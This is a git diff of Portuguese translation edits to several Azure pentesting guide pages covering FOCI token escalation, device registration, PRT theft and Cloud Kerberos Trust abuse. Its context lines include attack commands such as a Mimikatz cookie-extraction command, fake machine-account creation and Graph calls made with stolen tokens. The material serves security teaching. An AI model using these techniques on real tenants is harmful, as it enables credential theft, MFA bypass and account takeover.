-* **ms-graph (Microsoft Graph API)**: Usado para acessar a API do Microsoft Graph, o ponto de extremidade unificado para dados de serviços do Microsoft 365. Permite acessar dados e insights de serviços como Azure AD, Office 365, Mobilidade Empresarial e serviços de Segurança.
+* **ms-graph (Microsoft Graph API)**: Usado para acessar a API Microsoft Graph, o ponto de extremidade unificado para dados de serviços do Microsoft 365. Permite acessar dados e insights de serviços como Azure AD, Office 365, Mobilidade Empresarial e serviços de Segurança.
 - `https://graph.microsoft.com`
 
 - **oss-rdbms (Azure Open Source Relational Databases)**: Usado para acessar serviços de banco de dados do Azure para mecanismos de banco de dados relacionais de código aberto como MySQL, PostgreSQL e MariaDB.
@@ -121,7 +121,6 @@ device_flow
 pprint(azure_cli_bearer_tokens_for_graph_api)
 
 
-
 # DECODE JWT
 def decode_jwt(base64_blob: str) -> Dict[str, Any]:
 """Decodes base64 encoded JWT blob"""
@@ -145,17 +144,17 @@ scopes=["https://graph.microsoft.com/.default"],
 )
 pprint(new_azure_cli_bearer_tokens_for_graph_api)
 ```
-## Escalação de Privilégios de Tokens FOCI
+## FOCI Tokens Privilege Escalation
 
-Anteriormente, foi mencionado que os tokens de atualização devem estar vinculados aos **escopos** com os quais foram gerados, à **aplicação** e ao **inquilino** para os quais foram gerados. Se qualquer um desses limites for quebrado, é possível escalar privilégios, pois será possível gerar tokens de acesso para outros recursos e inquilinos aos quais o usuário tem acesso e com mais escopos do que originalmente pretendido.
+Anteriormente, foi mencionado que os tokens de atualização devem estar vinculados aos **escopos** com os quais foram gerados, à **aplicação** e ao **inquilino** para o qual foram gerados. Se qualquer um desses limites for quebrado, é possível escalar privilégios, pois será possível gerar tokens de acesso para outros recursos e inquilinos aos quais o usuário tem acesso e com mais escopos do que originalmente pretendido.
 
-Além disso, **isso é possível com todos os tokens de atualização** na [plataforma de identidade da Microsoft](https://learn.microsoft.com/en-us/entra/identity-platform/) (contas Microsoft Entra, contas pessoais da Microsoft e contas sociais como Facebook e Google) porque, como mencionam os [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Os tokens de atualização estão vinculados a uma combinação de usuário e cliente, mas **não estão vinculados a um recurso ou inquilino**. Um cliente pode usar um token de atualização para adquirir tokens de acesso **em qualquer combinação de recurso e inquilino** onde tenha permissão para fazê-lo. Os tokens de atualização são criptografados e apenas a plataforma de identidade da Microsoft pode lê-los."
+Além disso, **isso é possível com todos os tokens de atualização** na [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (contas Microsoft Entra, contas pessoais da Microsoft e contas sociais como Facebook e Google) porque, como mencionam os [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Os tokens de atualização estão vinculados a uma combinação de usuário e cliente, mas **não estão vinculados a um recurso ou inquilino**. Um cliente pode usar um token de atualização para adquirir tokens de acesso **em qualquer combinação de recurso e inquilino** onde tenha permissão para fazê-lo. Os tokens de atualização são criptografados e apenas a Microsoft identity platform pode lê-los."
 
-Além disso, observe que as aplicações FOCI são aplicações públicas, portanto **nenhum segredo é necessário** para autenticar no servidor.
+Além disso, note que as aplicações FOCI são aplicações públicas, portanto **nenhum segredo é necessário** para autenticar no servidor.
 
 Então, os clientes FOCI conhecidos relatados na [**pesquisa original**](https://github.com/secureworks/family-of-client-ids-research/tree/main) podem ser [**encontrados aqui**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
 
-### Obter escopo diferente
+### Get different scope
 
 Seguindo com o código de exemplo anterior, neste código é solicitado um novo token para um escopo diferente:
 ```python
diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md
index c6c250511..e1f82fe47 100644
--- a/src/pentesting-cloud/azure-security/az-device-registration.md
+++ b/src/pentesting-cloud/azure-security/az-device-registration.md
@@ -8,7 +8,7 @@ Quando um dispositivo se junta ao AzureAD, um novo objeto é criado no AzureAD.
 
 Ao registrar um dispositivo, o **usuário é solicitado a fazer login com sua conta** (solicitando MFA se necessário), em seguida, solicita tokens para o serviço de registro de dispositivos e, por fim, pede uma confirmação final.
 
-Então, dois pares de chaves RSA são gerados no dispositivo: A **chave do dispositivo** (**chave** pública) que é enviada para o **AzureAD** e a **chave de transporte** (**chave** privada) que é armazenada no TPM, se possível.
+Então, dois pares de chaves RSA são gerados no dispositivo: A **chave do dispositivo** (**chave pública**) que é enviada para o **AzureAD** e a **chave de transporte** (**chave privada**) que é armazenada no TPM, se possível.
 
 Em seguida, o **objeto** é gerado no **AzureAD** (não no Intune) e o AzureAD devolve ao dispositivo um **certificado** assinado por ele. Você pode verificar se o **dispositivo está associado ao AzureAD** e informações sobre o **certificado** (como se está protegido por TPM).
 ```bash
@@ -27,7 +27,7 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 O **TPM** **protege** contra a **extração** de chaves de um dispositivo desligado (se protegido por PIN) e contra a extração do material privado da camada do SO.\
 Mas ele **não protege** contra **sniffing** da conexão física entre o TPM e a CPU ou **usando o material criptográfico** no TPM enquanto o sistema está em execução a partir de um processo com direitos **SYSTEM**.
 
-Se você verificar a página a seguir, verá que **roubar o PRT** pode ser usado para acessar como um **usuário**, o que é ótimo porque o **PRT está localizado em dispositivos**, então pode ser roubado deles (ou se não for roubado, abusado para gerar novas chaves de assinatura):
+Se você verificar a página a seguir, verá que **roubar o PRT** pode ser usado para acessar como um **usuário**, o que é ótimo porque o **PRT está localizado nos dispositivos**, então pode ser roubado deles (ou, se não roubado, abusado para gerar novas chaves de assinatura):
 
 {{#ref}}
 az-lateral-movement-cloud-on-prem/pass-the-prt.md
@@ -47,36 +47,36 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
 # Custom pyhton script to register a device (check roadtx)
 registerdevice.py
 ```
-Qual dará a você um **certificado que você pode usar para solicitar PRTs no futuro**. Portanto, mantendo a persistência e **contornando o MFA** porque o token PRT original usado para registrar o novo dispositivo **já tinha permissões de MFA concedidas**.
+O que lhe dará um **certificado que você pode usar para solicitar PRTs no futuro**. Portanto, mantendo a persistência e **contornando o MFA** porque o token PRT original usado para registrar o novo dispositivo **já tinha permissões de MFA concedidas**.
 
 > [!TIP]
-> Observe que, para realizar este ataque, você precisará de permissões para **registrar novos dispositivos**. Além disso, registrar um dispositivo não significa que o dispositivo será **permitido para se inscrever no Intune**.
+> Note que para realizar este ataque você precisará de permissões para **registrar novos dispositivos**. Além disso, registrar um dispositivo não significa que o dispositivo será **permitido para se inscrever no Intune**.
 
 > [!CAUTION]
-> Este ataque foi corrigido em setembro de 2021, pois você não pode mais registrar novos dispositivos usando tokens SSO. No entanto, ainda é possível registrar dispositivos de maneira legítima (tendo nome de usuário, senha e MFA, se necessário). Verifique: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
+> Este ataque foi corrigido em setembro de 2021, pois você não pode mais registrar novos dispositivos usando tokens SSO. No entanto, ainda é possível registrar dispositivos de maneira legítima (tendo nome de usuário, senha e MFA, se necessário). Confira: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
 
 ## Sobrescrevendo um ticket de dispositivo
 
-Era possível **solicitar um ticket de dispositivo**, **sobrescrever** o atual do dispositivo e, durante o fluxo, **roubar o PRT** (portanto, não há necessidade de roubá-lo do TPM. Para mais informações, [**verifique esta palestra**](https://youtu.be/BduCn8cLV1A).
+Era possível **solicitar um ticket de dispositivo**, **sobrescrever** o atual do dispositivo e, durante o fluxo, **roubar o PRT** (portanto, não há necessidade de roubá-lo do TPM. Para mais informações [**ver esta palestra**](https://youtu.be/BduCn8cLV1A).
 
 <figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
 
 > [!CAUTION]
 > No entanto, isso foi corrigido.
 
-## Sobrescrever a chave WHFB
+## Sobrescrever chave WHFB
 
-[**Verifique os slides originais aqui**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
+[**Ver os slides originais aqui**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
 
 Resumo do ataque:
 
 - É possível **sobrescrever** a chave **WHFB registrada** de um **dispositivo** via SSO
-- Isso **derrota a proteção do TPM** à medida que a chave é **capturada durante a geração** da nova chave
+- Isso **derrota a proteção do TPM** já que a chave é **capturada durante a geração** da nova chave
 - Isso também fornece **persistência**
 
 <figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
 
-Os usuários podem modificar sua própria propriedade searchableDeviceKey via o Azure AD Graph, no entanto, o atacante precisa ter um dispositivo no locatário (registrado rapidamente ou tendo roubado o cert + chave de um dispositivo legítimo) e um token de acesso válido para o AAD Graph.
+Os usuários podem modificar sua própria propriedade searchableDeviceKey via Azure AD Graph, no entanto, o atacante precisa ter um dispositivo no locatário (registrado rapidamente ou tendo roubado o cert + chave de um dispositivo legítimo) e um token de acesso válido para o AAD Graph.
 
 Então, é possível gerar uma nova chave com:
 ```bash
@@ -86,7 +86,7 @@ e então PATCH as informações do searchableDeviceKey:
 
 <figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
 
-É possível obter um token de acesso de um usuário via **phishing de código de dispositivo** e abusar das etapas anteriores para **roubar seu acesso**. Para mais informações, consulte:
+É possível obter um token de acesso de um usuário via **device code phishing** e abusar dos passos anteriores para **roubar seu acesso**. Para mais informações, consulte:
 
 {{#ref}}
 az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
index 5cad16aae..e20b1e2fc 100644
--- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -5,7 +5,7 @@
 ## Instalar PowerShell no Linux
 
 > [!TIP]
-> No linux, você precisará instalar o PowerShell Core:
+> No Linux, você precisará instalar o PowerShell Core:
 >
 > ```bash
 > sudo apt-get update
@@ -47,7 +47,7 @@ pwsh
 brew update
 brew upgrade powershell
 ```
-## Ferramentas Principais de Enumeração
+## Principais Ferramentas de Enumeração
 
 ### az cli
 
@@ -109,7 +109,7 @@ Para fazer um **MitM** na ferramenta e **verificar todas as requisições** que
 
 ### Microsoft Graph PowerShell
 
-Microsoft Graph PowerShell é um SDK multiplataforma que permite o acesso a todas as APIs do Microsoft Graph, incluindo serviços como SharePoint, Exchange e Outlook, usando um único endpoint. Ele suporta PowerShell 7+, autenticação moderna via MSAL, identidades externas e consultas avançadas. Com foco no acesso de menor privilégio, garante operações seguras e recebe atualizações regulares para alinhar-se com os últimos recursos da API do Microsoft Graph.
+Microsoft Graph PowerShell é um SDK multiplataforma que permite o acesso a todas as APIs do Microsoft Graph, incluindo serviços como SharePoint, Exchange e Outlook, usando um único endpoint. Ele suporta PowerShell 7+, autenticação moderna via MSAL, identidades externas e consultas avançadas. Com foco no acesso de menor privilégio, garante operações seguras e recebe atualizações regulares para alinhar-se com os recursos mais recentes da API do Microsoft Graph.
 
 Siga este link para as [**instruções de instalação**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
index bbe1fd1d6..2f5aabc43 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
@@ -1,6 +1,6 @@
-# Az - Lateral Movement (Cloud - On-Prem)
+# Az - Movimento Lateral (Nuvem - On-Prem)
 
-## Az - Lateral Movement (Cloud - On-Prem)
+## Az - Movimento Lateral (Nuvem - On-Prem)
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -29,9 +29,9 @@ Existem diferentes maneiras de uma máquina estar conectada à nuvem:
 No Azure AD, existem diferentes tipos de tokens com limitações específicas:
 
 - **Access tokens**: Usados para acessar APIs e recursos como o Microsoft Graph. Eles estão vinculados a um cliente e recurso específicos.
-- **Refresh tokens**: Emitidos para aplicativos para obter novos access tokens. Podem ser usados apenas pelo aplicativo ao qual foram emitidos ou por um grupo de aplicativos.
-- **Primary Refresh Tokens (PRT)**: Usados para Single Sign-On em dispositivos Azure AD joined, registrados ou hybrid joined. Podem ser usados em fluxos de login no navegador e para fazer login em aplicativos móveis e de desktop no dispositivo.
-- **Windows Hello for Business keys (WHFB)**: Usados para autenticação sem senha. São usados para obter Primary Refresh Tokens.
+- **Refresh tokens**: Emitidos para aplicativos para obter novos access tokens. Eles só podem ser usados pelo aplicativo ao qual foram emitidos ou por um grupo de aplicativos.
+- **Primary Refresh Tokens (PRT)**: Usados para Single Sign-On em dispositivos Azure AD joined, registrados ou hybrid joined. Eles podem ser usados em fluxos de login no navegador e para fazer login em aplicativos móveis e de desktop no dispositivo.
+- **Windows Hello for Business keys (WHFB)**: Usados para autenticação sem senha. Eles são usados para obter Primary Refresh Tokens.
 
 O tipo de token mais interessante é o Primary Refresh Token (PRT).
 
@@ -41,7 +41,7 @@ az-primary-refresh-token-prt.md
 
 ### Técnicas de Pivoting
 
-Da **máquina comprometida para a nuvem**:
+Do **máquina comprometida para a nuvem**:
 
 - [**Pass the Cookie**](az-pass-the-cookie.md): Roubar cookies do Azure do navegador e usá-los para fazer login
 - [**Dump processes access tokens**](az-processes-memory-access-token.md): Despejar a memória de processos locais sincronizados com a nuvem (como excel, Teams...) e encontrar access tokens em texto claro.
@@ -56,7 +56,7 @@ De comprometer **AD** para comprometer a **Nuvem** e de comprometer a **Nuvem**
 
 #### [Roadtx](https://github.com/dirkjanm/ROADtools)
 
-Esta ferramenta permite realizar várias ações, como registrar uma máquina no Azure AD para obter um PRT, e usar PRTs (legítimos ou roubados) para acessar recursos de várias maneiras diferentes. Esses não são ataques diretos, mas facilitam o uso de PRTs para acessar recursos de diferentes maneiras. Encontre mais informações em [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
+Esta ferramenta permite realizar várias ações, como registrar uma máquina no Azure AD para obter um PRT e usar PRTs (legítimos ou roubados) para acessar recursos de várias maneiras diferentes. Esses não são ataques diretos, mas facilitam o uso de PRTs para acessar recursos de diferentes maneiras. Encontre mais informações em [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
 
 ## Referências
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
index 42d9c336c..0c9f0f055 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
@@ -1,4 +1,4 @@
-# Az - Arc vulnerable GPO Deploy Script
+# Az - Arc script de implantação GPO vulnerável
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -11,9 +11,9 @@ Quando executado, o script DeployGPO.ps1 realiza as seguintes ações:
 1. Cria o GPO de Integração de Servidores Azure Arc dentro do domínio local.
 2. Copia o script de integração EnableAzureArc.ps1 para o compartilhamento de rede designado criado para o processo de integração, que também contém o pacote de instalação do Windows.
 
-Ao executar este script, os administradores de sistema precisam fornecer dois parâmetros principais: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Além disso, requer outros parâmetros, como o domínio, o FQDN do servidor que hospeda o compartilhamento e o nome do compartilhamento. Detalhes adicionais, como o ID do locatário, grupo de recursos e outras informações necessárias também devem ser fornecidos ao script.
+Ao executar este script, os administradores de sistema precisam fornecer dois parâmetros principais: **ServicePrincipalId** e **ServicePrincipalClientSecret**. Além disso, requer outros parâmetros, como o domínio, o FQDN do servidor que hospeda o compartilhamento e o nome do compartilhamento. Detalhes adicionais, como o ID do locatário, grupo de recursos e outras informações necessárias, também devem ser fornecidos ao script.
 
-Um segredo criptografado é gerado no diretório AzureArcDeploy no compartilhamento especificado usando criptografia DPAPI-NG. O segredo criptografado é armazenado em um arquivo chamado encryptedServicePrincipalSecret. Evidências disso podem ser encontradas no script DeployGPO.ps1, onde a criptografia é realizada chamando ProtectBase64 com $descriptor e $ServicePrincipalSecret como entradas. O descriptor consiste nos SIDs do grupo de Computadores de Domínio e Controladores de Domínio, garantindo que o ServicePrincipalSecret só possa ser descriptografado pelos Controladores de Domínio e grupos de segurança de Computadores de Domínio, conforme observado nos comentários do script.
+Um segredo criptografado é gerado no diretório AzureArcDeploy no compartilhamento especificado usando criptografia DPAPI-NG. O segredo criptografado é armazenado em um arquivo chamado encryptedServicePrincipalSecret. Evidências disso podem ser encontradas no script DeployGPO.ps1, onde a criptografia é realizada chamando ProtectBase64 com $descriptor e $ServicePrincipalSecret como entradas. O descriptor consiste nos SIDs do grupo de Computadores de Domínio e Controladores de Domínio, garantindo que o ServicePrincipalSecret só possa ser descriptografado pelos grupos de segurança Controladores de Domínio e Computadores de Domínio, conforme observado nos comentários do script.
 ```powershell
 # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
 $DomainComputersSID = "SID=" + $DomainComputersSID
@@ -35,7 +35,7 @@ Existem vários métodos para obter uma conta de máquina dentro de um ambiente
 Import-MKodule powermad
 New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
 ```
-Uma vez que uma conta de máquina é obtida, é possível autenticar usando essa conta. Podemos usar o comando runas.exe com a flag netonly ou usar pass-the-ticket com Rubeus.exe.
+Uma vez que uma conta de máquina é obtida, é possível autenticar-se usando essa conta. Podemos usar o comando runas.exe com a flag netonly ou usar pass-the-ticket com Rubeus.exe.
 ```powershell
 runas /user:fake01$ /netonly powershell
 ```
@@ -54,7 +54,7 @@ $ebs
 ```
 Alternativamente, podemos usar [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
 
-Neste ponto, podemos coletar as informações restantes necessárias para conectar ao Azure a partir do arquivo ArcInfo.json, que está armazenado na mesma unidade de rede que o arquivo encryptedServicePrincipalSecret. Este arquivo contém detalhes como: TenantId, servicePrincipalClientId, ResourceGroup e mais. Com essas informações, podemos usar o Azure CLI para autenticar como o service principal comprometido.
+Neste ponto, podemos reunir as informações restantes necessárias para conectar ao Azure a partir do arquivo ArcInfo.json, que está armazenado na mesma unidade de rede que o arquivo encryptedServicePrincipalSecret. Este arquivo contém detalhes como: TenantId, servicePrincipalClientId, ResourceGroup e mais. Com essas informações, podemos usar o Azure CLI para autenticar como o service principal comprometido.
 
 ## Referências
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
index 8b7bf6158..079dea46d 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
@@ -8,7 +8,7 @@
 
 Tokens e dados sensíveis são armazenados localmente pelo Azure CLI, levantando preocupações de segurança:
 
-1. **Tokens de Acesso**: Armazenados em texto simples dentro de `accessTokens.json` localizado em `C:\Users\<username>\.Azure`.
+1. **Access Tokens**: Armazenados em texto simples dentro de `accessTokens.json` localizado em `C:\Users\<username>\.Azure`.
 2. **Informações de Assinatura**: `azureProfile.json`, no mesmo diretório, contém detalhes da assinatura.
 3. **Arquivos de Log**: A pasta `ErrorRecords` dentro de `.azure` pode conter logs com credenciais expostas, como:
 - Comandos executados com credenciais incorporadas.
@@ -16,9 +16,9 @@ Tokens e dados sensíveis são armazenados localmente pelo Azure CLI, levantando
 
 ### Azure PowerShell
 
-O Azure PowerShell também armazena tokens e dados sensíveis, que podem ser acessados localmente:
+Azure PowerShell também armazena tokens e dados sensíveis, que podem ser acessados localmente:
 
-1. **Tokens de Acesso**: `TokenCache.dat`, localizado em `C:\Users\<username>\.Azure`, armazena tokens de acesso em texto simples.
+1. **Access Tokens**: `TokenCache.dat`, localizado em `C:\Users\<username>\.Azure`, armazena tokens de acesso em texto simples.
 2. **Segredos de Principal de Serviço**: Estes são armazenados sem criptografia em `AzureRmContext.json`.
 3. **Recurso de Salvamento de Token**: Os usuários têm a capacidade de persistir tokens usando o comando `Save-AzContext`, que deve ser usado com cautela para evitar acesso não autorizado.
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
index 5284e8af8..8ca366720 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
@@ -4,13 +4,13 @@
 
 ## Pass the Certificate (Azure)
 
-Em máquinas unidas ao Azure, é possível autenticar de uma máquina para outra usando certificados que **devem ser emitidos pelo Azure AD CA** para o usuário necessário (como o sujeito) quando ambas as máquinas suportam o mecanismo de autenticação **NegoEx**.
+Em máquinas unidas ao Azure, é possível autenticar de uma máquina para outra usando certificados que **devem ser emitidos pela Azure AD CA** para o usuário necessário (como o sujeito) quando ambas as máquinas suportam o mecanismo de autenticação **NegoEx**.
 
 Em termos super simplificados:
 
-- A máquina (cliente) que inicia a conexão **precisa de um certificado do Azure AD para um usuário**.
-- O cliente cria um cabeçalho de Token Web JSON (JWT) contendo PRT e outros detalhes, assina usando a chave derivada (usando a chave de sessão e o contexto de segurança) e **o envia para o Azure AD**.
-- O Azure AD verifica a assinatura do JWT usando a chave de sessão do cliente e o contexto de segurança, verifica a validade do PRT e **responde** com o **certificado**.
+- A máquina (cliente) que inicia a conexão **precisa de um certificado da Azure AD para um usuário**.
+- O cliente cria um cabeçalho de Token Web JSON (JWT) contendo PRT e outros detalhes, assina usando a Chave Derivada (usando a chave de sessão e o contexto de segurança) e **o envia para a Azure AD**.
+- A Azure AD verifica a assinatura do JWT usando a chave de sessão do cliente e o contexto de segurança, verifica a validade do PRT e **responde** com o **certificado**.
 
 Neste cenário e após obter todas as informações necessárias para um ataque [**Pass the PRT**](pass-the-prt.md):
 
@@ -18,7 +18,7 @@ Neste cenário e após obter todas as informações necessárias para um ataque
 - ID do locatário
 - PRT
 - Contexto de segurança
-- Chave derivada
+- Chave Derivada
 
 É possível **solicitar um certificado P2P** para o usuário com a ferramenta [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
 ```bash
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
index f3cf134ef..b529dae33 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
@@ -4,7 +4,7 @@
 
 ## Por que Cookies?
 
-**Cookies** de navegador são um ótimo mecanismo para **contornar a autenticação e MFA**. Como o usuário já se autenticou no aplicativo, o **cookie** de sessão pode ser usado para **acessar dados** como aquele usuário, sem precisar se re-autenticar.
+**Cookies** de navegador são um ótimo mecanismo para **contornar a autenticação e MFA**. Como o usuário já se autenticou na aplicação, o **cookie** de sessão pode ser usado para **acessar dados** como aquele usuário, sem precisar re-autenticar.
 
 Você pode ver onde estão **os cookies do navegador** em:
 
@@ -24,9 +24,9 @@ Com o Mimikatz em mãos, sou capaz de **extrair os cookies de um usuário** mesm
 ```bash
 mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
 ```
-Para o Azure, nos importamos com os cookies de autenticação, incluindo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** e **`ESTSAUTHLIGHT`**. Eles estão lá porque o usuário esteve ativo no Azure recentemente.
+Para o Azure, nos preocupamos com os cookies de autenticação, incluindo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** e **`ESTSAUTHLIGHT`**. Eles estão lá porque o usuário esteve ativo no Azure recentemente.
 
-Basta navegar até login.microsoftonline.com e adicionar o cookie **`ESTSAUTHPERSISTENT`** (gerado pela opção “Permanecer Conectado”) ou **`ESTSAUTH`**. E você será autenticado.
+Basta navegar até login.microsoftonline.com e adicionar o cookie **`ESTSAUTHPERSISTENT`** (gerado pela opção “Permanecer Conectado”) ou **`ESTSAUTH`**. E você estará autenticado.
 
 ## Referências
 
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
index 9cef230d6..a7b511d96 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md
@@ -8,7 +8,7 @@ Como explicado em [**este vídeo**](https://www.youtube.com/watch?v=OHKZkXC4Duw)
 
 Passos:
 
-1. Dumpe os processos do excel sincronizados com o usuário EntraID com sua ferramenta favorita.
+1. Dumpe os processos do excel sincronizados com o usuário EntraID usando sua ferramenta favorita.
 2. Execute: `string excel.dmp | grep 'eyJ0'` e encontre vários tokens na saída.
 3. Encontre os tokens que mais lhe interessam e execute ferramentas sobre eles:
 ```bash
@@ -30,6 +30,6 @@ curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sit
 ┌──(magichk㉿black-pearl)-[~]
 └─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
 ```
-**Observe que esse tipo de token de acesso também pode ser encontrado dentro de outros processos.**
+**Observe que esses tipos de tokens de acesso também podem ser encontrados dentro de outros processos.**
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
index d47283c9f..e139618d6 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md
@@ -17,18 +17,18 @@ Portanto, se esta conta for comprometida, pode ser possível se passar por qualq
 
 ### Kerberos TGT
 
-Além disso, quando um usuário se autentica no Windows usando uma identidade híbrida, **o Azure AD emitirá um ticket Kerberos parcial junto com o PRT.** O TGT é parcial porque **o AzureAD tem informações limitadas** do usuário no AD local (como o identificador de segurança (SID) e o nome).\
+Além disso, quando um usuário se autentica no Windows usando uma identidade híbrida, **o Azure AD** emitirá **um ticket Kerberos parcial junto com o PRT.** O TGT é parcial porque **o AzureAD tem informações limitadas** do usuário no AD local (como o identificador de segurança (SID) e o nome).\
 O Windows pode então **trocar este TGT parcial por um TGT completo** solicitando um ticket de serviço para o serviço `krbtgt`.
 
 ### NTLM
 
-Como pode haver serviços que não suportam autenticação kerberos, mas NTLM, é possível solicitar um **TGT parcial assinado usando uma chave `krbtgt` secundária** incluindo o campo **`KERB-KEY-LIST-REQ`** na parte **PADATA** da solicitação e, em seguida, obter um TGT completo assinado com a chave `krbtgt` primária **incluindo o hash NT na resposta**.
+Como pode haver serviços que não suportam autenticação kerberos, mas NTLM, é possível solicitar um **TGT parcial assinado usando uma chave `krbtgt` secundária** incluindo o campo **`KERB-KEY-LIST-REQ`** na parte **PADATA** da solicitação e então obter um TGT completo assinado com a chave `krbtgt` primária **incluindo o hash NT na resposta**.
 
 ## Abusando da Confiança do Cloud Kerberos para obter Admin de Domínio <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
 
 Quando o AzureAD gera um **TGT parcial**, ele usará os detalhes que possui sobre o usuário. Portanto, se um Administrador Global puder modificar dados como o **identificador de segurança e nome do usuário no AzureAD**, ao solicitar um TGT para esse usuário, o **identificador de segurança seria um diferente**.
 
-Não é possível fazer isso através do Microsoft Graph ou do Azure AD Graph, mas é possível usar a **API que o Active Directory Connect** usa para criar e atualizar usuários sincronizados, que pode ser usada pelos Administradores Globais para **modificar o nome SAM e o SID de qualquer usuário híbrido**, e então, se nos autenticarmos, obteremos um TGT parcial contendo o SID modificado.
+Não é possível fazer isso através do Microsoft Graph ou do Azure AD Graph, mas é possível usar a **API que o Active Directory Connect** usa para criar e atualizar usuários sincronizados, que pode ser usada pelos Administradores Globais para **modificar o nome SAM e o SID de qualquer usuário híbrido**, e então, se nos autenticarmos, obtemos um TGT parcial contendo o SID modificado.
 
 Observe que podemos fazer isso com AADInternals e atualizar usuários sincronizados via o cmdlet [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a).
 
